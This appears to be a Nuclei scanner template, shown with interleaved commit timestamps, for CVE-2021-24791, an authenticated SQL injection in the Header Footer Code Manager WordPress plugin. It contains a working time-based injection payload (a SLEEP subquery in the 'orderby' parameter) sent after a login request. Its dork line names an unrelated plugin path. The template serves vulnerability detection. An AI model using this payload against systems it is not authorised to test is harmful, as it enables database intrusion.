2023-10-17 07:20:28 +00:00
id : CVE-2021-24791
2023-10-17 17:52:26 +00:00
2023-10-17 07:20:28 +00:00
info :
name : Header Footer Code Manager < 1.1.14 - Admin+ SQL Injection
author : r3Y3r53
severity : high
description : |
2023-10-17 17:52:26 +00:00
The Header Footer Code Manager WordPress plugin before 1.1.14 does not validate and escape the "orderby" and "order" request parameters before using them in a SQL statement when viewing the Snippets admin dashboard, leading to SQL injections
2023-10-17 07:20:28 +00:00
remediation : Fixed in version 1.1.14
reference :
- https://nvd.nist.gov/vuln/detail/CVE-2021-24791
- https://wpscan.com/vulnerability/d55caa9b-d50f-4c13-bc69-dc475641735f
- https://wordpress.org/plugins/header-footer-code-manager/
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
cvss-score : 7.2
cve-id : CVE-2021-24791
cwe-id : CWE-89
2023-11-05 22:23:39 +00:00
epss-score : 0.10363
2024-03-23 09:28:19 +00:00
epss-percentile : 0.94849
2023-10-17 17:52:26 +00:00
cpe : cpe:2.3:a:draftpress:header_footer_code_manager:*:*:*:*:*:wordpress:*:*
2023-10-17 07:20:28 +00:00
metadata :
verified : true
2023-10-17 17:52:26 +00:00
max-request : 2
vendor : draftpress
product : header_footer_code_manager
framework : wordpress
2023-10-17 08:16:05 +00:00
google-query : inurl:"/wp-content/plugins/wp-custom-pages/"
2024-10-15 10:27:37 +00:00
tags : time-based-sqli,cve2021,cve,wpscan,sqli,wp,wordpress,wp-plugin,authenticated,header-footer-code-manager,draftpress
2023-10-17 07:20:28 +00:00
http :
- raw :
- |
POST /wp-login.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
@timeout : 20s
GET /wp-admin/admin.php?page=hfcm-list&orderby=%28SELECT+5619+FROM+%28SELECT%28SLEEP%286%29%29%29uWCv%29&order=DESC HTTP/1.1
Host : {{Hostname}}
matchers :
- type : dsl
dsl :
- 'duration>=6'
- 'status_code_2 == 200'
- 'contains(content_type_2, "text/html")'
- 'contains(body_2,"Add New Snippet")'
condition : and
2024-10-18 13:05:19 +00:00
# digest: 490a00463044022045af518596bfcb30054d6f0284c6a3806c58e62a6faf3c250299f5fbfb448b06022058a760ac3ffc7cc75ea58c8bcde760ee3fbfbc63ea5bb88bc6338c1f2157a493:922c64590222798bb761d5b6d8e72950